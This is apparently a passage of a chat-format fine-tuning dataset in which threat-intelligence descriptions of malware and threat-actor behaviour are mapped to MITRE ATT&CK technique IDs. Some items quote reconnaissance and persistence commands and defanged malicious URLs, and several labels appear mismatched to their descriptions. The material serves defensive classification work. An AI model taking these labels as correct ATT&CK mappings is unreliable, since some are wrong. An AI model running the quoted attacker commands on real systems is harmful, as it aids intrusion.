                "content": "Catchamas steals data stored in the clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can perform pass the hash."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor has checked for the LogMein event log in an attempt to encrypt files in remote machines."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Net Crawler uses Windows admin shares to establish authenticated sessions to remote systems over SMB as part of lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attachment itself is an Microsoft Excel XLS document that contains malicious macro script. The document presents itself as a standard macro document but has all of its text hidden until the victim enables macros. Notably, all of the content text is accessible to the victim even before macros are enabled. However, a white font color is applied to the text to make it appear that the victim must enable macros to access the content. Once the macro is enabled, the content is presented via the following code: ActiveSheet.Range(\"a1:c54\").Font.Color = vbBlack The code above changes the font color to black within the specified cell range and presents the content to the user. On initial inspection, the content appears to be the expected legitimate content, however, closer examination of the document shows several abnormal artifacts that would not exist in a legitimate document. Figure 2 below shows how the delivery document initially looks and the transformation the content undergoes as the macro runs"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN5, which earlier this year was profiled by researchers at Trend Micro and has been in action since at least 2008, uses real credentials from the victim organization's virtual private network, Remote Desktop Protocol, Citrix, or VNC. Vengerik says the attackers got those credentials via third parties associated with the victims' POS systems"
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts', 'T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT34 uses a mix of public and non-public tools, often conducting spear phishing operations using compromised accounts, sometimes coupled with social engineering tactics. In May 2016, we published a blog detailing a spear phishing campaign targeting banks in the Middle East region that used macro-enabled attachments to distribute POWBAT malware. The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT can execute \"getinfo\"  to discover the current time on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PolyglotDuke can use \"LoadLibraryW\" and \"CreateProcess\" to load and execute code."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mythic supports custom chunk sizes used to upload/download files."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once these variables are set, the malware uses the SoapHttpClientProtocol class to communicate with its C2 server, which issues an HTTP POST requests that appears as"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has run \"net use\" to connect to network shares."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can open an interactive command-shell to perform command line functions on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware will collect data from the victim machine and write this information to LOCALAPPDATA%\\MicroSoft Updatea\\uplog.tmp. The following information is collected from the victim"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In 2018 Intezer covered Foudre version 8, which contained a certain sample labeled unknown binary that was not explored in Intezer’s research. In fact, this was a new component — called Tonnerre — which was a new step in the evolution of Infy, and contained various functionality absent from Foudre alone."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used code-signing certificates on its malware that are either forged due to weak keys or stolen."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "employs the same encoding scheme as  for data it stages. Data is compressed with zlib, and bytes are rotated four times before being XOR'ed with 0x23."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMess can send files from the victim machine to C2."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "First, just like the Gh0st in the dshell paper from SANS, the decrypted protocol consists of a 5 byte header (ngLGX), a 4byte packet length field, and finally another 4 byte uncompressed length field. This is where the similarity ends as the Opcode and the data are compressed using ZLib, instead of just the data. Additionally, the entire packet is encrypted with an algorithm making visual analysis of the Wireshark data challenging. However, as the packet header is static, you can use the encrypted header as an identifier, like I did in my script. The encrypted header is: “\\xEA\\xEE\\xCC\\xD3\\xB8” and is unchanged throughout the malware’s runthrough"
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak has returned C2 data as encoded ASCII."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Janicab’s features also remind us of Powersing’s: the sample contains VM detection based on the MAC address of the machine, looks for malware analysis programs and has familiar antivirus software evasion routines. Janicab also periodically sends screenshot captures of the victim’s desktop to the C&C and appears to enable the execution of arbitrary Python scripts."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture', 'T1497 - Virtualization/Sandbox Evasion', 'T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SVR leveraged access gained from the SolarWinds campaign to compromise a certificate issued by Mimecast, which it then used to authenticate a subset of Mimecast's products with customer systems."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has delivered zero-day exploits and malware to victims via targeted emails containing a link to malicious content hosted on an uncommon Web server."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware payload is copied to an Active Directory Domain Controller and deployed to systems using the Default Domain Group Policy Object"
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DOMAIN} nltest /domain_trusts /all_trusts net share route print netstat -nao net localgroup qwinsta WMI Query ROOT\\CIMV2:Win32_BIOS WMI Query ROOT\\CIMV2:Win32_DiskDrive WMI Query ROOT\\CIMV2:Win32_PhysicalMemory WMI Query ROOT\\CIMV2:Win32_Product WMI Query ROOT\\CIMV2:Win32_PnPEntity - whoami /all - arp -a - ipconfig /all - net view /all - cmd /c set - - nltest /domain_trusts /all_trusts - net share - route print - netstat -nao - net localgroup - qwinsta - WMI Query ROOT\\CIMV2:Win32_BIOS - WMI Query ROOT\\CIMV2:Win32_DiskDrive - WMI Query ROOT\\CIMV2:Win32_PhysicalMemory - WMI Query ROOT\\CIMV2:Win32_Product - WMI Query ROOT\\CIMV2:Win32_PnPEntity"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Resulting script on the compromised government websites Users were redirected to https://google-updata[.]tk:443/hook.js, a BEeF instance, and https://windows-updata[.]tk:443/scanv1.8/i/?1, an empty ScanBox instance that answered a small piece of JavaScript code"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port', 'T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A service that ensures Carbon’s persistency is created. Its name can either be “srservice”, “ipvpn” or “hkmsvc” depending of the operating system version running on the compromised machine"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team's BCS-server tool uses base64 encoding and HTML tags for the communication traffic between the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DustySky searches for network drives and removable media and duplicates itself onto them."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec contains a keylogger component."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Evidence also supports the hypothesis that there is a encryption plugin for victim files (see below)"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hydraq creates a backdoor through which remote attackers can retrieve IP addresses of compromised machines."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "downloads and executes additional PowerShell code and Windows binaries."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can use Python to perform execution."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gold Dragon can download additional components from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Another component used by this group is a variant of TerraTV. It runs a legitimate TeamViewer application but hides its user interface elements, so that the operators of the malware can connect to the compromised computer undetected"
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has used \"hidcon\" to run batch files in a hidden console window."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mosquito establishes persistence under the Registry key \"HKCU\\Software\\Run auto_update\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TRINITY malware used by  identifies payment card track data on the victim and then copies it to a local file in a subdirectory of C:\\Windows\\. Once the malware collects the data,  actors compressed data and moved it to another staging system before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BITTER has registered domains to stage payloads."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Download a file from a remote server - Create a text file on the local machine - Execute a file - Execute a shell (cmd.exe) command and save the results to disk - Upload the results of a previously executed shell command to a remote server"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Orz can download files onto the victim."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kevin can assign hard-coded fallback domains for C2."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These appeared to be hosted on either Linode or Google Cloud, with a preference for using the ASN AS63949"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In addition, web traffic between a service provider’s customer and a service provider is likely to be viewed as benign by network defenders at the customer, allowing the attacker to exfiltrate data stealthily"
            },
            {
                "role": "assistant",
                "content": "T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "queries the Registry to determine the correct Startup path to use for persistence."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be configured to use multiple network protocols to avoid network-based detection."
            },
            {
                "role": "assistant",
                "content": "T1026 - Multiband Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Torisma uses this method to send data back to the C2 server read from the named pipe. This is the results of the execution of the shellcode on the victim’s system through the ViewPrevPage action and the results of this execution are sent and processed using this function"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ChChes copies itself to an .exe file with a filename that is likely intended to imitate Norton Antivirus but has several letters reversed (e.g. notron.exe)."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 has transferred implant files using Windows Admin Shares."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lokibot has the ability to capture input on the compromised host via keylogging."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We were able to source a sample that may be the malware involved in the May 2018 attacks. We ran it, and it broke the boot sector as expected (see Figure 1). An initial analysis of the file revealed it was created using Nullsoft Scriptable Install System (NSIS), an open-source application used to create setup programs. The actor behind this threat used the application and purposely named it “MBR Killer. There are no indications of network-related behavior in this malware"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adds registry run keys to achieve persistence. In some cases, we observed using the following command:start cmd.exe /k runonce.exe /AlternateShellStartup"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During one investigation, APT32 was observed using a privilege escalation exploit (CVE-2016-7255) masquerading as a Windows hotfix. In another investigation, APT32 compromised the McAfee ePO infrastructure to distribute their malware as a software deployment task in which all systems pulled the payload from the ePO server using the proprietary SPIPE protocol. APT32 also used hidden or non-printing characters to help visually camouflage their malware on a system. For example, APT32 installed one backdoor as a persistent service with a legitimate service name that had a Unicode no-break space character appended to it. Another backdoor used an otherwise legitimate DLL filename padded with a non-printing OS command control code"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DCSrv has created new services for persistence by modifying the Registry."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil has the capability to stop services and kill processes."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Spalax, the threat actors relied on a victim to open a PDF document and click on an embedded malicious link to download malware."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The White Company has checked for specific antivirus products on the target’s computer, including Kaspersky, Quick Heal, AVG, BitDefender, Avira, Sophos, Avast!, and ESET."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has staged encrypted archives for exfiltration on Internet-facing servers that had previously been compromised with ."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed importing tools from GitHub or infected domains to victim networks. In some instances. Chinese statesponsored cyber actors used the Server Message Block (SMB) protocol to import tools into victim networks."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has deobfuscated Base64-encoded shellcode strings prior to loading them."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrifeWater can collect the OS version, architecture, and machine name to create a unique token for the infected host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Use of zip file that contains a “.lnk” (Windows Shortcut) file. 2) Utilization of double extension trick (sample.doc.lnk) to convince users to open the file. 3) HTA (HTML Application) with VBScript embedded in the “.lnk” file 4) VBScript drops payloads and opens a decoy document or PDF to the user"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NOKKI can gather information on the victim IP address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can be launched by using DLL search order hijacking in which the wrapper DLL is placed in the same folder as explorer.exe and loaded during startup into the Windows Explorer process instead of the legitimate library."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OopsIE uses the SmartAssembly obfuscator to pack an embedded .Net Framework assembly used for C2."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT19 used Regsvr32 to bypass application control techniques."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the victim is using PowerShell 3.0 or later, POWERSOURCE writes its decoded payload to an Alternate Data Stream (ADS) named kernel32.dll that is saved in \"%PROGRAMDATA%\\Windows\\\"."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can deobfuscate shellcode using a rolling XOR and decrypt metadata from Beacon sessions."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
